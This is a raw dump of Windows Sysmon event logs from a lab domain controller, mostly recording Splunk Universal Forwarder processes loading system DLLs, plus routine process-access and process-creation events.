Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 23542300x800000000000000057516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=66551106CC0115919B537185461C8926,SHA256=36BC78B1886091D63FCD85DEC25A34C75DB53DF2EA22771A202912F5EDCC3102,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000057513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.788{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.789{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000057506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.491{7BD73061-7559-613B-B70B-00000000F001}57202312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.491{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.491{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000057503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.335{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.335{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.319{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.303{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:17.288{7BD73061-7559-613B-B70B-00000000F001}5720C:\Program 